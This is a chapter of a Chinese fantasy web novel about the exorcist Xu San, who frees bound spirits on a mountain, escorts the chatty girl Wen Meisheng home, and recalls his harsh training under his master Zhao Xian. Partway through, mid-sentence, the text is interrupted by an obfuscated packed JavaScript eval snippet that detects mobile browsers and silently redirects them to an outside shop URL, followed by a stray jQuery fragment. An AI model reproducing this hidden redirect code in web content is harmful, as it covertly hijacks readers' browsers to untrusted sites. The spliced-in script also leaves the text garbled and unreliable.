章洪十一年,距今已经过去十六年,四年前新帝登基,改年号为新奉。
院子里有个小小的坟包,青苔杂草丛生,和周围巨石山景融为一体。石碑前歪歪扭扭地镌着几个字:悼灵均,字迹稚嫩,像笔都还拿不稳的孩童所刻。
再没有更多线索,徐三不知道赵先为什么会来这,难道此处也和因缘锁有关?
徐三抬头看了一眼天,算算时辰,这会儿应该是巳时,可荒山雾障依旧浓郁,头顶的天光照不进半分,四周都笼罩在一片灰蓝的晨雾中。
“走,下山。”
温眉生缩在屋檐下,徐三一喊,她忙不迭跟上。
昨晚踩过的青石板还留着她沾满湿泥的鞋印,连纹路都清晰无比,仿佛有人刚踏过。
温眉生心里害怕,越害怕嘴巴就越碎,仿佛听着活人的声音才能安心。
“你是道士吗?”
“不是。”
“可是你背着桃木剑。”
“桃木驱邪。”
“你还会使符咒。”
“我师父教的。”
徐三长了一张不会动的脸,还真跟白描画一样。
“你说要送我回家是真的吗?”
“真的。”
“可你都不问问我家在哪儿。”
“清源县桂花坊。”
“你怎么知道?”
“算的。”
“怎么算的?”
“天机不可泄露。”
“道士最爱讲这句话,你还说你不是道士。”
徐三罕见地叹了一口气,只觉得身后的小姑娘像一只不会闭嘴的青蛙。
“我是修行术士,不是道教的,跟道士不是一派。”
至于为什么这副打扮,因为他就是这么跟赵先学的,他们师门不讲究溯源,好用的都拿来用。
徐三长大后时常下山历练,因为缺钱,也会接点驱魔除妖的活计,外边的百姓老叫他道士,起初他跟人解释,他不是道家人,他是个术士,然后对方开始叫他半仙,他想了想,道士就道士吧,半仙不大好,他是要成仙的,半仙算什么?
“哦,”温眉生应了一声,“我只是怕遇到坏道士,我姨娘说,遇到坏的要跑远点。”
说起姨娘,她又开始想家,不知道家里是不是出什么事了。
“以前总有道士打着为我除疾的名头骗我爹的钱,我爹真傻,钱都给出去了,我身子还是不见好……”
温眉生没声音了,她紧紧拉着徐三的衣袖,因为眼前出现了一座破庙,庙门口挂着四个大字:风调雨顺。
沿着下山的路走怎么会再回到山上?
徐三在庙门口停住,出现过的地缚灵都是饿殍,依照那位灵均弟子的手记,在章洪十一年那场大雪中,山下的村庄没能挺过,七月雪停后山神像开裂,预示神逝,山神散灵也未能阻止天灾。
人在绝境中无所依托时,往往会把希望寄托在虚无缥缈的神灵上。
徐三入庙将黑灰收集起来,裹进黄符里,正要点燃,突然想起身后还有个半鬼不人的东西。
“干什么?”温眉生被徐三盯得发毛。
徐三没说话,摸出腰间的小布袋,往她头顶一扔,那袋子开了口,顿时膨大数倍,直接将她吸进去。
“救命!有鬼!”
袋子里传来凄厉的惨叫,温眉生像只被捉了的老鼠,在布袋里翻滚挣扎。
里面确实有鬼,还是两只鬼。
徐三伸手一点,黑灰燃起一个巴掌大的火苗,他抽出背后的桃木剑,插在地上的火点上,风阵大开,神庙前的空地上陡然升起一股烈火,火焰是诡异的黑红色,却异常亮,周围的雾障被瞬时驱散。
大火蔓延,将神庙和修行弟子的住所尽数吞没,而雾气中,数道人影渐渐朝这边聚拢。
“神已逝,魂归去!”
徐三念起地缚灵的超度经,那些被困于神山信仰中的魂魄在十数年后迎来往生。
方才被徐三踢下山的婴孩脑袋滚上来,扑入火中,发出两声呓语。
“我的儿!”
火中似有妇人哭泣。
院中孤坟上,一约莫十二三岁的少年伫立坟前,低头看墓碑上的刻字。
“多谢。”修行弟子对徐三一拜,消失于火光中。
火光黯淡,山中的雾障散尽,天光乍现,下山的石板路清晰可见。
徐三打开乾坤袋,温眉生被放出来,扶着树枝干呕。
“你方才念的什么经?念得我头好疼。”
温眉生还没从两只鬼的惊吓中缓过神,偌大的空间里突然传来徐三的念经声,不知道念的什么,她只觉得耳边如雷震耳,头疼欲裂。
那两只鬼魅原本还准备吓唬她,听见这声音立即面色痛苦地捂住耳朵,本来就灰白的脸色更白了三分,在地上不住打滚。
徐三想了想,从乾坤袋里掏出个大黑丸子递过去。
“这是什么?”黑黑的,闻起来苦苦的,像一坨黑泥巴。
“药。”
温眉生摇摇头,不想吃。
徐三懒得废话,捏住温眉生的下颌把黑丸子塞了进去,捂住她的嘴看着她咽下去。
吃起来倒是不苦,温眉生咂咂嘴:“有点咸。”
“哦,那可能是我的汗。”
“呕——”
徐三赶忙捂住她的嘴:“我就这一颗!”
山下已天光大开,烈日灼灼。
温眉生回头看着繁密的山林,虽然知道徘徊于此的地缚灵已经往生,但林间微风阵阵,树叶轻摇,晃眼一瞧似有人影走过,还是令她忍不住打了个寒颤。
徐三在她身前走了几步,突然停下,摸到腰间的袋子。
温眉生一瞧就知道他又想把她捉进去,立马跪下:“大人饶命!”
徐三觉得好笑,问她:“谁教你的?”
按理说,温眉生作为温家的千金小姐,不会是这样一副软骨头做派。
温眉生答得老实:“姨娘。”
姨娘说,遇着坏人先下跪服软,再找机会狠狠报复回去。
那时她问姨娘,她连巷子口的大黄狗都打不过呀,怎么报复?
姨娘说那就回家告诉爹,保准把那些坏人打得屁滚尿流。
这么一想,温眉生觉得鼻子酸酸的,她又想家了。
温家姨娘其实不大像姨娘,像温家的主事,家里的好多事都是姨娘拿的主意,包括温家的生意。
听仆从说,温家老爷自夫人难产遇难后消沉了很长一段时间,连生意都不管了,姨娘这才出来主事,慢慢接手温家的生意。
姨娘住在温家最大最漂亮的院子里,对温眉生这个原配生的孩子没有一点芥蒂,唯一一点就是不准她叫“姨娘”,得叫阿姐。
姨娘总说些稀奇古怪的事给她听,比如穿人皮的妖怪、装大仙的神棍、挖眼睛的道士,害得她一连做了好几晚的噩梦,直到教书的夫子给她找来几本志怪小说,她才知道姨娘讲的都是鬼怪故事,不是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17681423|207709||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
真的。
只是姨娘,真的很讨厌道士。
徐三本来只是觉得把温眉生放进乾坤袋里清净点,她的话太多了,实在是聒噪,但看她那么害怕也就作罢,毕竟抓到乾坤袋里她也吵闹。
果然温眉生没过一会儿又开始絮叨。
“你那袋子里装的什么?”
“鬼。”
她当然知道那是鬼,一个扭着脖子一个耷拉着舌头,蹦蹦跳跳嬉皮笑脸地追着她玩。
“你装两只鬼干嘛?耍着玩?”
徐三愣了一下,不知道怎么回答,只说:“这是我师父教的。”
“你师父叫什么?”
“赵先。”先人板板的先。
要说徐三对这个师父有没有感情,那也是有点,但不多,他俩本来就是半路搭伙的。
徐三本名徐不晚,出身在官宦世家,排名老三。他出生的时候,他爹都快六十了,他娘打趣,说这个孩子来得太晚了,他爹却说不晚,索性给他起名叫徐不晚。
可惜他出生还是有点早,再过几年兴许就不用出生了。
徐三五岁那年,徐家一夜之间满门被屠,徐夫人带着他连夜奔逃,投奔隔壁县城当县官的大儿子,可惜半路上一口气儿没喘过来,草草咽气了。
徐三一个五岁小孩能懂什么,守了他娘的尸体两天,最后饿得没法子,跑树林子摘果子吃,运气不好又摘到毒果子,谁叫那一片黑绿中间就这几株红果子最显眼。
实在是时运不济,他没被果子毒死,昏睡了一天,被一个疯子捡回去,硬要收他做徒弟,说是摸透了他的骨头,天生吃这碗饭的,家里人都要被他克死。
徐三以为他爹娘就是被他克死的,所以长大了也没去找兄长,自己已经走上邪门歪道了,再把大哥二哥克死,他老徐家就绝后了,对不起他爹,也对不起他娘,对不起他家供着的徐家太爷、太爷爷、太太爷……
疯子赵先是个不顾死活的教法,譬如教徐三画符咒,教了两遍还不会,直接放了两只鬼出来,鬼飘得多快呀,徐三两条腿跑不过没腿的,不歇气地跑了一天一夜,直到被逼到另一个山的山头,他没法子了,硬着头皮念赵先教的口诀,依葫芦画瓢画了张符烧了,有用么?屁用没有,那两只鬼还笑他!
徐三气急了,其中一只鬼就趴在他耳边笑,他一把拽过去,那鬼估计是吊死的,脖子老长,他一张嘴就咬上去,鬼疼得龇牙咧嘴地叫喊。
最后他把长脖子鬼缠在另一只鬼身上,打上死结,硬拖回去。
从那以后,那两只鬼再也不敢笑他。
他记着人死了以后魂魄是要入轮回的,可这两只鬼没入轮回,他问赵先用的什么法子,赵先不肯说,让他自己学。
后来他八岁的时候学会了捆魂的法子,也学会了解魂的法子,晚上他对着长脖子鬼念了解魂咒,咒一解开,长脖子鬼想起了前世的冤情,怨气大得把房顶都冲翻了,隔壁睡着的赵先连人带床被掀到院子里,衣服都没穿整齐,拔剑就把长脖子鬼砍了。
砍了,也就是魂飞魄散了。
这回赵先却没罚他,把床铺翻过来,就在院子里又睡下了。
第二天,赵先开始教他正经的术咒和口诀。
至于现在乾坤袋里的两只鬼,是徐三下山后自己捉的,赵先说过,倘若没点煞气傍身,什么邪祟都敢凑过来找打。
人间的邪祟实在太多了,又总往他身上靠想吸灵气,他砍不完,干脆捉了两只最凶的,一般的邪祟也就不敢近身了。